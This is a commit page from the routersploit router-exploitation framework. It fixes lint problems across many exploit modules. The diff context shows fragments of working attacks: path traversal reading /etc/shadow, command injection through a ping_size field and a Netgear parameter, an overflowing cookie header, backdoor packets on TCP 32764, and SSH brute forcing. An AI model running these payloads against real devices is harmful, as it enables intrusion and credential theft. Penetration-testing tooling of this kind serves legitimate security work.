Skip to content

R
routersploit
Commit 73e8b5cd by fwkz
Options

Fixing pyflakes violations

parent fc4f3d53
Showing with 107 additions and 91 deletions
routersploit/modules/creds/http_basic_default.py
...@@ -36,7 +36,7 @@ class Exploit(exploits.Exploit): ...@@ -36,7 +36,7 @@ class Exploit(exploits.Exploit):
} }
target = exploits.Option('', 'Target IP address or file with target:port (file://)') target = exploits.Option('', 'Target IP address or file with target:port (file://)')
port = exploits.Option(80, 'Target port') port = exploits.Option(80, 'Target port')
threads = exploits.Option(8, 'Number of threads') threads = exploits.Option(8, 'Number of threads')
defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)') defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)')
path = exploits.Option('/', 'URL Path') path = exploits.Option('/', 'URL Path')
......
routersploit/modules/creds/ssh_bruteforce.py
...@@ -51,7 +51,7 @@ class Exploit(exploits.Exploit): ...@@ -51,7 +51,7 @@ class Exploit(exploits.Exploit):
self.credentials = [] self.credentials = []
self.attack() self.attack()
@multi @multi
def attack(self): def attack(self):
ssh = paramiko.SSHClient() ssh = paramiko.SSHClient()
......
routersploit/modules/exploits/3com/ap8760_password_disclosure.py
...@@ -4,7 +4,6 @@ from routersploit import ( ...@@ -4,7 +4,6 @@ from routersploit import (
exploits, exploits,
print_status, print_status,
print_error, print_error,
print_info,
print_success, print_success,
print_table, print_table,
http_request, http_request,
...@@ -20,7 +19,8 @@ class Exploit(exploits.Exploit): ...@@ -20,7 +19,8 @@ class Exploit(exploits.Exploit):
""" """
__info__ = { __info__ = {
'name': '3Com AP8760 Password Disclosure', 'name': '3Com AP8760 Password Disclosure',
'description': 'Exploits 3Com AP8760 password disclosure vulnerability. If the target is vulnerable it is possible to fetch credentials for administration user.', 'description': 'Exploits 3Com AP8760 password disclosure vulnerability.'
'If the target is vulnerable it is possible to fetch credentials for administration user.',
'authors': [ 'authors': [
'Richard Brain', # vulnerability discovery 'Richard Brain', # vulnerability discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module 'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module
...@@ -29,7 +29,7 @@ class Exploit(exploits.Exploit): ...@@ -29,7 +29,7 @@ class Exploit(exploits.Exploit):
'http://www.procheckup.com/procheckup-labs/pr07-40/', 'http://www.procheckup.com/procheckup-labs/pr07-40/',
], ],
'devices': [ 'devices': [
'3Com AP8760', '3Com AP8760',
], ],
} }
......
routersploit/modules/exploits/3com/officeconnect_rce.py
...@@ -5,7 +5,6 @@ from routersploit import ( ...@@ -5,7 +5,6 @@ from routersploit import (
print_error, print_error,
print_info, print_info,
http_request, http_request,
random_text,
mute, mute,
validators, validators,
) )
...@@ -22,12 +21,13 @@ class Exploit(exploits.Exploit): ...@@ -22,12 +21,13 @@ class Exploit(exploits.Exploit):
'Andrea Fabizi', # vulnerability discovery 'Andrea Fabizi', # vulnerability discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module 'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module
], ],
'description': 'Module exploits 3Com OfficeConnect remote command execution vulnerability which allows executing command on operating system level.', 'description': 'Module exploits 3Com OfficeConnect remote command execution '
'vulnerability which allows executing command on operating system level.',
'references': [ 'references': [
'https://www.exploit-db.com/exploits/9862/', 'https://www.exploit-db.com/exploits/9862/',
], ],
'devices': [ 'devices': [
'3Com OfficeConnect', '3Com OfficeConnect',
], ],
} }
......
routersploit/modules/exploits/asmax/ar_804_gu_rce.py
...@@ -4,7 +4,6 @@ from routersploit import ( ...@@ -4,7 +4,6 @@ from routersploit import (
print_status, print_status,
print_error, print_error,
http_request, http_request,
random_text,
mute, mute,
validators, validators,
) )
...@@ -18,17 +17,17 @@ class Exploit(exploits.Exploit): ...@@ -18,17 +17,17 @@ class Exploit(exploits.Exploit):
__info__ = { __info__ = {
'name': 'Asmax AR 804 RCE', 'name': 'Asmax AR 804 RCE',
'authors': [ 'authors': [
'Michal Sajdak <michal.sajdak[at]securitum.com>', # vulnerability discovery 'Michal Sajdak <michal.sajdak[at]securitum.com>', # vulnerability discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module 'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module
], ],
'description': 'Module exploits Asmax AR 804 Remote Code Execution vulnerability which ' 'description': 'Module exploits Asmax AR 804 Remote Code Execution vulnerability which '
'allows executing command on operating system level with root privileges.', 'allows executing command on operating system level with root privileges.',
'references': [ 'references': [
'http://www.securitum.pl/dh/asmax-ar-804-gu-compromise', 'http://www.securitum.pl/dh/asmax-ar-804-gu-compromise',
'https://www.exploit-db.com/exploits/8846/', 'https://www.exploit-db.com/exploits/8846/',
], ],
'devices': [ 'devices': [
'Asmax AR 804 gu', 'Asmax AR 804 gu',
], ],
} }
......
routersploit/modules/exploits/cisco/dpc2420_info_disclosure.py
from routersploit import ( from routersploit import (
exploits, exploits,
print_success, print_success,
print_status,
print_error, print_error,
print_info, print_info,
http_request, http_request,
...@@ -17,7 +16,8 @@ class Exploit(exploits.Exploit): ...@@ -17,7 +16,8 @@ class Exploit(exploits.Exploit):
""" """
__info__ = { __info__ = {
'name': 'Cisco DPC2420 Info Disclosure', 'name': 'Cisco DPC2420 Info Disclosure',
'description': 'Module exploits Cisco DPC2420 information disclosure vulnerability which allows reading sensitive information from the configuration file.', 'description': 'Module exploits Cisco DPC2420 information disclosure vulnerability '
'which allows reading sensitive information from the configuration file.',
'authors': [ 'authors': [
'Facundo M. de la Cruz (tty0) <fmdlc[at]code4life.com.ar>', # vulnerability discovery 'Facundo M. de la Cruz (tty0) <fmdlc[at]code4life.com.ar>', # vulnerability discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module 'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module
......
routersploit/modules/exploits/cisco/unified_multi_path_traversal.py
from routersploit import ( from routersploit import (
exploits, exploits,
print_success, print_success,
print_status,
print_error, print_error,
print_info, print_info,
http_request, http_request,
...@@ -12,12 +11,14 @@ from routersploit import ( ...@@ -12,12 +11,14 @@ from routersploit import (
class Exploit(exploits.Exploit): class Exploit(exploits.Exploit):
""" """
Exploit implementation for Path Traversal vulnerability in Cisco Unified Communications Manager, Cisco Unified Contact Center Express and Cisco Unified IP Interactive Voice Response devices. Exploit implementation for Path Traversal vulnerability in Cisco Unified Communications Manager,
Cisco Unified Contact Center Express and Cisco Unified IP Interactive Voice Response devices.
If the target is vulnerable it allows to read files from the filesystem. If the target is vulnerable it allows to read files from the filesystem.
""" """
__info__ = { __info__ = {
'name': 'Cisco Unified Multi Path Traversal', 'name': 'Cisco Unified Multi Path Traversal',
'description': 'Module exploits path traversal vulnerability in Cisco Unified Communications Manager, Cisco Unified Contact Center Express and Cisco Unified IP Interactive Voice Response devices.' 'description': 'Module exploits path traversal vulnerability in Cisco Unified Communications Manager, '
'Cisco Unified Contact Center Express and Cisco Unified IP Interactive Voice Response devices.'
'If the target is vulnerable it allows to read files from the filesystem.', 'If the target is vulnerable it allows to read files from the filesystem.',
'authors': [ 'authors': [
'Facundo M. de la Cruz (tty0) <fmdlc[at]code4life.com.ar>', # vulnerability discovery 'Facundo M. de la Cruz (tty0) <fmdlc[at]code4life.com.ar>', # vulnerability discovery
......
routersploit/modules/exploits/dlink/dsl_2640b_dns_change.py
...@@ -2,7 +2,6 @@ from routersploit import ( ...@@ -2,7 +2,6 @@ from routersploit import (
exploits, exploits,
print_error, print_error,
print_status, print_status,
print_info,
print_success, print_success,
http_request, http_request,
mute, mute,
......
routersploit/modules/exploits/dlink/dsl_2730b_2780b_526b_dns_change.py
...@@ -2,7 +2,6 @@ from routersploit import ( ...@@ -2,7 +2,6 @@ from routersploit import (
exploits, exploits,
print_error, print_error,
print_status, print_status,
print_info,
print_success, print_success,
http_request, http_request,
mute, mute,
......
routersploit/modules/exploits/dlink/dsl_2740r_dns_change.py
...@@ -2,7 +2,6 @@ from routersploit import ( ...@@ -2,7 +2,6 @@ from routersploit import (
exploits, exploits,
print_error, print_error,
print_status, print_status,
print_info,
print_success, print_success,
http_request, http_request,
mute, mute,
......
routersploit/modules/exploits/dlink/dvg_n5402sp_path_traversal.py
...@@ -27,17 +27,28 @@ class Exploit(exploits.Exploit): ...@@ -27,17 +27,28 @@ class Exploit(exploits.Exploit):
], ],
'devices': [ 'devices': [
'D-Link DVG-N5402SP', 'D-Link DVG-N5402SP',
] ]
} }
target = exploits.Option('', 'Target address e.g. http://192.168.1.1') # target address target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.address) # target address
port = exploits.Option(8080, 'Target port') # default port port = exploits.Option(8080, 'Target port') # default port
filename = exploits.Option('/etc/shadow', 'File to read') # file to read filename = exploits.Option('/etc/shadow', 'File to read') # file to read
def run(self): def run(self):
# address and parameters # address and parameters
url = "{}:{}/cgi-bin/webproc".format(self.target, self.port) url = "{}:{}/cgi-bin/webproc".format(self.target, self.port)
data = {"getpage": "html/index.html","*errorpage*": "../../../../../../../../../../..{}".format(self.filename), "var%3Amenu": "setup", "var%3Apage": "connected", "var%": "", "objaction": "auth", "%3Ausername": "blah", "%3Apassword": "blah","%3Aaction": "login","%3Asessionid": "abcdefgh"} data = {
"getpage": "html/index.html",
"*errorpage*": "../../../../../../../../../../..{}".format(self.filename),
"var%3Amenu": "setup",
"var%3Apage": "connected",
"var%": "",
"objaction": "auth",
"%3Ausername": "blah",
"%3Apassword": "blah",
"%3Aaction": "login",
"%3Asessionid": "abcdefgh"
}
# connection # connection
response = http_request(method="POST", url=url, data=data) response = http_request(method="POST", url=url, data=data)
......
routersploit/modules/exploits/dlink/multi_hnap_rce.py
from routersploit import ( from routersploit import (
exploits, exploits,
print_success,
print_status, print_status,
print_error, print_error,
http_request, http_request,
......
routersploit/modules/exploits/huawei/e5331_mifi_info_disclosure.py
...@@ -2,8 +2,6 @@ import re ...@@ -2,8 +2,6 @@ import re
from routersploit import ( from routersploit import (
exploits, exploits,
print_status,
print_error,
print_success, print_success,
print_table, print_table,
http_request, http_request,
...@@ -19,7 +17,8 @@ class Exploit(exploits.Exploit): ...@@ -19,7 +17,8 @@ class Exploit(exploits.Exploit):
""" """
__info__ = { __info__ = {
'name': 'Huawei E5331 Info Disclosure', 'name': 'Huawei E5331 Info Disclosure',
'description': 'Module exploits information disclosure vulnerability in Huawei E5331 MiFi Mobile Hotspot devices. If the target is vulnerable it allows to read sensitive information.', 'description': 'Module exploits information disclosure vulnerability in Huawei E5331 MiFi Mobile Hotspot'
'devices. If the target is vulnerable it allows to read sensitive information.',
'authors': [ 'authors': [
'J. Greil https://www.sec-consult.com', # vulnerability discovery 'J. Greil https://www.sec-consult.com', # vulnerability discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module 'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module
......
routersploit/modules/exploits/huawei/hg530_hg520b_password_disclosure.py
...@@ -2,7 +2,6 @@ import re ...@@ -2,7 +2,6 @@ import re
from routersploit import ( from routersploit import (
exploits, exploits,
print_status,
print_error, print_error,
print_success, print_success,
print_info, print_info,
...@@ -19,7 +18,8 @@ class Exploit(exploits.Exploit): ...@@ -19,7 +18,8 @@ class Exploit(exploits.Exploit):
""" """
__info__ = { __info__ = {
'name': 'Huawei HG530 & HG520b Password Disclosure', 'name': 'Huawei HG530 & HG520b Password Disclosure',
'description': 'Module exploits password disclosure vulnerability in Huawei HG530 and HG520b devices. If the target is vulnerable it allows to read credentials.', 'description': 'Module exploits password disclosure vulnerability in Huawei HG530 and HG520b devices.'
'If the target is vulnerable it allows to read credentials.',
'authors': [ 'authors': [
'Fady Mohamed Osman (@fady_osman)', # vulnerability discovery 'Fady Mohamed Osman (@fady_osman)', # vulnerability discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module 'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module
......
routersploit/modules/exploits/huawei/hg866_password_change.py
import re
from routersploit import ( from routersploit import (
exploits, exploits,
print_status, print_status,
...@@ -18,7 +16,8 @@ class Exploit(exploits.Exploit): ...@@ -18,7 +16,8 @@ class Exploit(exploits.Exploit):
""" """
__info__ = { __info__ = {
'name': 'Huawei HG866 Password Cahnge', 'name': 'Huawei HG866 Password Cahnge',
'description': 'Module exploits password change vulnerability in Huawei HG866 devices. If the target is vulnerable it allows to change administration password.', 'description': 'Module exploits password change vulnerability in Huawei HG866 devices.'
'If the target is vulnerable it allows to change administration password.',
'authors': [ 'authors': [
'hkm', # vulnerability discovery 'hkm', # vulnerability discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module 'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module
......
routersploit/modules/exploits/linksys/1500_2500_rce.py
import re
from routersploit import ( from routersploit import (
exploits, exploits,
print_success, print_success,
...@@ -19,10 +17,12 @@ class Exploit(exploits.Exploit): ...@@ -19,10 +17,12 @@ class Exploit(exploits.Exploit):
""" """
__info__ = { __info__ = {
'name': 'Linksys E1500/E2500', 'name': 'Linksys E1500/E2500',
'description': 'Module exploits remote command execution in Linksys E1500/E2500 devices. Diagnostics interface allows executing root privileged shell commands is available on dedicated web pages on the device.', 'description': 'Module exploits remote command execution in Linksys E1500/E2500 devices.'
'Diagnostics interface allows executing root privileged shell commands is '
'available on dedicated web pages on the device.',
'authors': [ 'authors': [
'Michael Messner', # vulnerability discovery 'Michael Messner', # vulnerability discovery
'Esteban Rodriguez (n00py)', # routersploit module 'Esteban Rodriguez (n00py)', # routersploit module
], ],
'references': [ 'references': [
'https://www.exploit-db.com/exploits/24475/', 'https://www.exploit-db.com/exploits/24475/',
...@@ -57,9 +57,19 @@ class Exploit(exploits.Exploit): ...@@ -57,9 +57,19 @@ class Exploit(exploits.Exploit):
def execute(self, cmd): def execute(self, cmd):
url = "{}:{}/apply.cgi".format(self.target, self.port) url = "{}:{}/apply.cgi".format(self.target, self.port)
data = {"submit_button": "Diagnostics", "change_action":"gozila_cgi", "submit_type":"start_ping","action":"","commit":"0","ping_ip":"127.0.0.1","ping_size": "&" + cmd,"ping_times":"5","traceroute_ip":"127.0.0.1"} data = {
"submit_button": "Diagnostics",
"change_action": "gozila_cgi",
"submit_type": "start_ping",
"action": "",
"commit": "0",
"ping_ip": "127.0.0.1",
"ping_size": "&" + cmd,
"ping_times": "5",
"traceroute_ip": "127.0.0.1"
}
response = http_request(method="POST", url=url, data=data, auth=(self.username, self.password)) http_request(method="POST", url=url, data=data, auth=(self.username, self.password))
return "" return ""
@mute @mute
...@@ -67,7 +77,18 @@ class Exploit(exploits.Exploit): ...@@ -67,7 +77,18 @@ class Exploit(exploits.Exploit):
mark = random_text(32) mark = random_text(32)
cmd = "echo {}".format(mark) cmd = "echo {}".format(mark)
url = "{}:{}/apply.cgi".format(self.target, self.port) url = "{}:{}/apply.cgi".format(self.target, self.port)
data = {"submit_button": "Diagnostics", "change_action":"gozila_cgi", "submit_type":"start_ping","action":"","commit":"0","ping_ip":"127.0.0.1","ping_size": "&" + cmd,"ping_times":"5","traceroute_ip":"127.0.0.1" } data = {
"submit_button":
"Diagnostics",
"change_action": "gozila_cgi",
"submit_type": "start_ping",
"action": "",
"commit": "0",
"ping_ip": "127.0.0.1",
"ping_size": "&" + cmd,
"ping_times": "5",
"traceroute_ip": "127.0.0.1"
}
response = http_request(method="POST", url=url, data=data, auth=(self.username, self.password)) response = http_request(method="POST", url=url, data=data, auth=(self.username, self.password))
if response is None: if response is None:
......
routersploit/modules/exploits/multi/heartbleed.py
import re
import socket import socket
import struct import struct
import time import time
...@@ -9,7 +8,6 @@ from routersploit import ( ...@@ -9,7 +8,6 @@ from routersploit import (
print_status, print_status,
print_error, print_error,
print_success, print_success,
print_info,
mute, mute,
) )
...@@ -33,7 +31,7 @@ class Exploit(exploits.Exploit): ...@@ -33,7 +31,7 @@ class Exploit(exploits.Exploit):
'https://gist.github.com/takeshixx/10107280', 'https://gist.github.com/takeshixx/10107280',
], ],
'devices': [ 'devices': [
'Multi', 'Multi',
], ],
} }
......
routersploit/modules/exploits/multi/misfortune_cookie.py
...@@ -6,7 +6,6 @@ from routersploit import ( ...@@ -6,7 +6,6 @@ from routersploit import (
print_error, print_error,
http_request, http_request,
mute, mute,
validators,
) )
...@@ -21,7 +20,7 @@ class Exploit(exploits.Exploit): ...@@ -21,7 +20,7 @@ class Exploit(exploits.Exploit):
'Check Point <www.checkpoint.com>', # vulnerability discovery 'Check Point <www.checkpoint.com>', # vulnerability discovery
'Jan Trencansky', # proof of concept exploit 'Jan Trencansky', # proof of concept exploit
'Marcin Bury <marcin.bury@reverse-shell.com>', # routersploit module 'Marcin Bury <marcin.bury@reverse-shell.com>', # routersploit module
'Milad Doorbash <milad.doorbash@gmail.com>' # authentication bypass exploit 'Milad Doorbash <milad.doorbash@gmail.com>' # authentication bypass exploit
], ],
'references': [ 'references': [
'http://mis.fortunecook.ie/', 'http://mis.fortunecook.ie/',
...@@ -127,7 +126,7 @@ class Exploit(exploits.Exploit): ...@@ -127,7 +126,7 @@ class Exploit(exploits.Exploit):
target = exploits.Option('', 'Target address e.g. http://192.168.1.1') # target address target = exploits.Option('', 'Target address e.g. http://192.168.1.1') # target address
port = exploits.Option(80, 'Target port') # default port port = exploits.Option(80, 'Target port') # default port
device = exploits.Option('', 'Target device (show devices)') # target firmware device = exploits.Option('', 'Target device (show devices)') # target firmware
def run(self): def run(self):
devices = self._Exploit__info__['devices'] devices = self._Exploit__info__['devices']
...@@ -144,12 +143,16 @@ class Exploit(exploits.Exploit): ...@@ -144,12 +143,16 @@ class Exploit(exploits.Exploit):
'Connection': 'keep-alive', 'Connection': 'keep-alive',
'Accept-Encoding': 'gzip, deflate', 'Accept-Encoding': 'gzip, deflate',
'Cache-Control': 'no-cache', 'Cache-Control': 'no-cache',
'Cookie' : 'C' + str(number) + '=' + 'B' * offset + '\x00'} 'Cookie': 'C' + str(number) + '=' + 'B' * offset + '\x00'}
response = http_request(method="GET", url=url, headers=headers) response = http_request(method="GET", url=url, headers=headers)
if response is not None and response.status_code <= 302: if response is not None and response.status_code <= 302:
print_success("Seems good but check " + "{}:{}".format(self.target, self.port) + " using your browser to verify if authentication is disabled or not.") print_success(
"Seems good but check "
+ "{}:{}".format(self.target, self.port)
+ " using your browser to verify if authentication is disabled or not."
)
return True return True
else: else:
print_error("Failed.") print_error("Failed.")
......
routersploit/modules/exploits/multi/ssh_auth_keys.py
...@@ -24,7 +24,7 @@ class Exploit(exploits.Exploit): ...@@ -24,7 +24,7 @@ class Exploit(exploits.Exploit):
'Cristiano Maruti (@cmaruti)', # Baracuda Load Balancer vulnerabiltiy discovery 'Cristiano Maruti (@cmaruti)', # Baracuda Load Balancer vulnerabiltiy discovery
'Jasper Greve', # Ceragon FibeAir IP-10 vulnerability doscovery 'Jasper Greve', # Ceragon FibeAir IP-10 vulnerability doscovery
'HD Moore', # Ceragon FibeAir IP-10 vulnerability discovery 'HD Moore', # Ceragon FibeAir IP-10 vulnerability discovery
'Matta Consulting' , # F5 BigIP 'Matta Consulting', # F5 BigIP
'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module 'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module
], ],
'references': [ 'references': [
...@@ -52,7 +52,7 @@ class Exploit(exploits.Exploit): ...@@ -52,7 +52,7 @@ class Exploit(exploits.Exploit):
], ],
} }
target = exploits.Option('', 'Target IP address e.g. 192.168.1.1') # target address target = exploits.Option('', 'Target IP address e.g. 192.168.1.1', validators=validators.address) # target address
private_keys = [ private_keys = [
{ # quantum dxi v1000 { # quantum dxi v1000
...@@ -243,11 +243,11 @@ class Exploit(exploits.Exploit): ...@@ -243,11 +243,11 @@ class Exploit(exploits.Exploit):
def check(self): def check(self):
for key in self.private_keys: for key in self.private_keys:
if "DSA PRIVATE KEY" in key['private_key']: if "DSA PRIVATE KEY" in key['private_key']:
pkey = paramiko.DSSKey.from_private_key(StringIO.StringIO(key['private_key'])) pkey = paramiko.DSSKey.from_private_key(StringIO.StringIO(key['private_key']))
elif "RSA PRIVATE KEY" in key['private_key']: elif "RSA PRIVATE KEY" in key['private_key']:
pkey = paramiko.RSAKey.from_private_key(StringIO.StringIO(key['private_key'])) pkey = paramiko.RSAKey.from_private_key(StringIO.StringIO(key['private_key']))
else: else:
continue continue
ssh = paramiko.SSHClient() ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
......
routersploit/modules/exploits/multi/tcp_32764_info_disclosure.py
...@@ -4,10 +4,8 @@ import re ...@@ -4,10 +4,8 @@ import re
from routersploit import ( from routersploit import (
exploits, exploits,
print_status,
print_error, print_error,
print_success, print_success,
print_info,
print_table, print_table,
random_text, random_text,
mute, mute,
...@@ -69,14 +67,14 @@ class Exploit(exploits.Exploit): ...@@ -69,14 +67,14 @@ class Exploit(exploits.Exploit):
conf = self.execute(s, 1) conf = self.execute(s, 1)
lines = re.split("\x00|\x01", conf) lines = re.split("\x00|\x01", conf)
pattern = re.compile('user(name)?|password|login'); pattern = re.compile('user(name)?|password|login')
credentials = [] credentials = []
for line in lines: for line in lines:
try: try:
(var, value) = line.split("=") (var, value) = line.split("=")
if len(value)>0 and pattern.search(var): if len(value) > 0 and pattern.search(var):
credentials.append((var, value)) credentials.append((var, value))
except ValueError: except ValueError:
pass pass
...@@ -86,10 +84,9 @@ class Exploit(exploits.Exploit): ...@@ -86,10 +84,9 @@ class Exploit(exploits.Exploit):
else: else:
print_error("Target is not vulnerable") print_error("Target is not vulnerable")
def execute(self, s, message, payload=""): def execute(self, s, message, payload=""):
header = struct.pack(self.endianness + 'III', 0x53634D4D, message, len(payload)+1) header = struct.pack(self.endianness + 'III', 0x53634D4D, message, len(payload)+1)
s.send(header + payload +"\x00") s.send(header + payload + "\x00")
r = s.recv(0xC) r = s.recv(0xC)
while len(r) < 0xC: while len(r) < 0xC:
......
routersploit/modules/exploits/multi/tcp_32764_rce.py
...@@ -6,7 +6,6 @@ from routersploit import ( ...@@ -6,7 +6,6 @@ from routersploit import (
print_status, print_status,
print_error, print_error,
print_success, print_success,
print_info,
random_text, random_text,
mute, mute,
) )
...@@ -65,7 +64,6 @@ class Exploit(exploits.Exploit): ...@@ -65,7 +64,6 @@ class Exploit(exploits.Exploit):
else: else:
print_error("Target is not vulnerable") print_error("Target is not vulnerable")
def command_loop(self): def command_loop(self):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(30) s.settimeout(30)
...@@ -82,7 +80,7 @@ class Exploit(exploits.Exploit): ...@@ -82,7 +80,7 @@ class Exploit(exploits.Exploit):
def execute(self, s, message, payload=""): def execute(self, s, message, payload=""):
header = struct.pack(self.endianness + 'III', 0x53634D4D, message, len(payload)+1) header = struct.pack(self.endianness + 'III', 0x53634D4D, message, len(payload)+1)
s.send(header + payload +"\x00") s.send(header + payload + "\x00")
r = s.recv(0xC) r = s.recv(0xC)
while len(r) < 0xC: while len(r) < 0xC:
......
routersploit/modules/exploits/netgear/multi_rce.py
...@@ -74,7 +74,7 @@ class Exploit(exploits.Exploit): ...@@ -74,7 +74,7 @@ class Exploit(exploits.Exploit):
"001122334455 -c 0 ;{}; echo #".format(self.target, self.port, self.valid_resource, cmd)) "001122334455 -c 0 ;{}; echo #".format(self.target, self.port, self.valid_resource, cmd))
# blind command injection # blind command injection
response = http_request(method="GET", url=url) http_request(method="GET", url=url)
return "" return ""
@mute @mute
......
routersploit/modules/exploits/shuttle/915wm_dns_change.py
...@@ -2,7 +2,6 @@ from routersploit import ( ...@@ -2,7 +2,6 @@ from routersploit import (
exploits, exploits,
print_error, print_error,
print_status, print_status,
print_info,
print_success, print_success,
http_request, http_request,
mute, mute,
......
routersploit/modules/exploits/thomson/twg849_info_disclosure.py
...@@ -3,10 +3,8 @@ from routersploit import ( ...@@ -3,10 +3,8 @@ from routersploit import (
exploits, exploits,
print_success, print_success,
print_error, print_error,
print_info,
print_status, print_status,
print_table, print_table,
http_request,
mute, mute,
validators, validators,
) )
...@@ -32,22 +30,22 @@ class Exploit(exploits.Exploit): ...@@ -32,22 +30,22 @@ class Exploit(exploits.Exploit):
] ]
} }
target = exploits.Option('', 'Target IP address e.g. 192.168.1.1') target = exploits.Option('', 'Target IP address e.g. 192.168.1.1', validators=validators.address)
oids = { # make, model, software version oids = { # make, model, software version
"model": "1.3.6.1.2.1.1.1.0", "model": "1.3.6.1.2.1.1.1.0",
"uptime": "1.3.6.1.2.1.1.3.0", "uptime": "1.3.6.1.2.1.1.3.0",
# web interface credentials # web interface credentials
"username": "1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0", "username": "1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0",
"password": "1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0", "password": "1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0",
# ssid and key # ssid and key
"ssid1": "1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.32", "ssid1": "1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.32",
"ssid2": "1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.2.32", "ssid2": "1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.2.32",
# guest network oids # guest network oids
"guest1": "1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.33", "guest1": "1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.33",
"guest2": "1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.34", "guest2": "1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.34",
"guest3": "1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.35", "guest3": "1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.35",
} }
def run(self): def run(self):
res = [] res = []
......
routersploit/modules/exploits/tplink/wdr740nd_wdr740n_backdoor.py
...@@ -6,7 +6,6 @@ from routersploit import ( ...@@ -6,7 +6,6 @@ from routersploit import (
exploits, exploits,
print_success, print_success,
print_error, print_error,
print_info,
print_status, print_status,
http_request, http_request,
mute, mute,
...@@ -32,8 +31,8 @@ class Exploit(exploits.Exploit): ...@@ -32,8 +31,8 @@ class Exploit(exploits.Exploit):
'http://websec.ca/advisories/view/root-shell-tplink-wdr740', 'http://websec.ca/advisories/view/root-shell-tplink-wdr740',
], ],
'devices': [ 'devices': [
'TP-Link WDR740ND', 'TP-Link WDR740ND',
'TP-Link WDR740N', 'TP-Link WDR740N',
], ],
} }
...@@ -47,7 +46,7 @@ class Exploit(exploits.Exploit): ...@@ -47,7 +46,7 @@ class Exploit(exploits.Exploit):
if self.check(): if self.check():
print_success("Target is vulnerable") print_success("Target is vulnerable")
print_status("Invoking command shell") print_status("Invoking command shell")
shell(self) shell(self)
else: else:
print_error("Exploit failed - target seems to be not vulnerable") print_error("Exploit failed - target seems to be not vulnerable")
......
routersploit/modules/exploits/zte/f460_f660_backdoor.py
import re import re
import string
from routersploit import ( from routersploit import (
exploits, exploits,
...@@ -54,7 +53,6 @@ class Exploit(exploits.Exploit): ...@@ -54,7 +53,6 @@ class Exploit(exploits.Exploit):
return return
print_info(self.execute(cmd)) print_info(self.execute(cmd))
def execute(self, cmd): def execute(self, cmd):
url = "{}:{}/web_shell_cmd.gch".format(self.target, self.port) url = "{}:{}/web_shell_cmd.gch".format(self.target, self.port)
......
routersploit/modules/scanners/autopwn.py
...@@ -36,9 +36,9 @@ class Exploit(exploits.Exploit): ...@@ -36,9 +36,9 @@ class Exploit(exploits.Exploit):
path = 'exploits' path = 'exploits'
modules = [] modules = []
for device in listdir(rootpath+path): # TODO refactor this, using load_modules() from core for device in listdir(rootpath + path): # TODO refactor this, using load_modules() from core
if not device.endswith(".py") and not device.endswith(".pyc"): if not device.endswith(".py") and not device.endswith(".pyc"):
for f in listdir(rootpath+path + "/" + device): for f in listdir(rootpath + path + "/" + device):
if f.endswith(".py") and f != "__init__.py": if f.endswith(".py") and f != "__init__.py":
modules.append(device + "/" + f[:-3]) modules.append(device + "/" + f[:-3])
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment